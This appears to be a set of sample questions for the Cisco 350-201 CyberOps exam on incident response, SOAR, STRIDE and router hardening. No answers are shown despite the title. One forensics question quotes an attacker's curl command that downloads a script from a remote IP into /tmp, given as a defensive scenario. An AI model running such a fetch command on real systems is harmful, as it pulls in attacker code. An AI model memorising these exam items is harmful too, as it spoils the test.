350-201 Sample Questions & Answers

A cybersecurity architect is designing a security posture for a hybrid cloud environment. A key requirement is to prevent endpoints from connecting to known malicious domains, IPs, and URLs, regardless of whether the endpoint is on the corporate network or connected remotely. The solution must provide DNS-layer security and act as a secure web gateway. Which Cisco security product is best suited to meet these requirements?

True or False: In a CI/CD pipeline, static application security testing (SAST) is performed on running code in a production or staging environment to identify vulnerabilities.

A financial services company, FinSecure, is undergoing a security audit. The auditor needs to review the company's incident response procedures. FinSecure's SOC uses a playbook for handling suspected phishing attacks that result in a user credential compromise. The playbook is initiated when a user reports a suspicious email, which is then analyzed by a SOAR platform.

The SOAR platform automatically extracts indicators (URLs, attachment hashes) and enriches them using threat intelligence feeds. If an indicator is found to be malicious, an alert is generated. The playbook requires a SOC analyst to then perform several actions: force a password reset for the affected user, search email logs for other recipients of the same phishing email, and block the malicious indicators at the firewall and web proxy.

According to the standard NIST incident response lifecycle (SP 800-61), which phase encompasses the analyst's actions of resetting the password and blocking the indicators?

While investigating a compromised Linux host, an analyst discovers that the attacker gained initial access and then downloaded a script from a remote server using the command curl -o /tmp/p.sh http://198.51.100.10/p.sh. The analyst needs to understand the script's contents without executing it. Which command should the analyst use to safely view the script?

A security team uses a vulnerability scanner that reports a critical vulnerability (CVSS score 9.8) on an internal web server. However, the team determines that the server is located on a highly segmented network, is not accessible from the internet, and has a compensating control in place that mitigates the specific attack vector. How should this vulnerability be handled in the vulnerability management process?

A SOC analyst needs to write a bash script to parse a log file (auth.log) and count the number of failed SSH login attempts for a specific user, 'jdoe'. Which command correctly accomplishes this task?

An organization is deploying a new web application and wants to incorporate threat modeling into its development lifecycle. The security team decides to use the STRIDE methodology. Which of the following threats maps directly to the 'Elevation of Privilege' category in STRIDE?

A security analyst is hardening a Cisco IOS router. To comply with company policy, the analyst must ensure that only specific, authorized administrators from the internal management network (10.10.10.0/24) can access the router via SSH. Which configuration snippet correctly applies this policy to the VTY lines?

What is the primary purpose of the recovery phase in the NIST incident response lifecycle?

A SOC uses a playbook for ransomware incidents. Part of the playbook involves automatically isolating an infected endpoint using Cisco Secure Endpoint, enriching file hashes with Cisco Threat Grid, and creating a ticket in the incident management system. Which security concept does this automated, multi-tool workflow exemplify?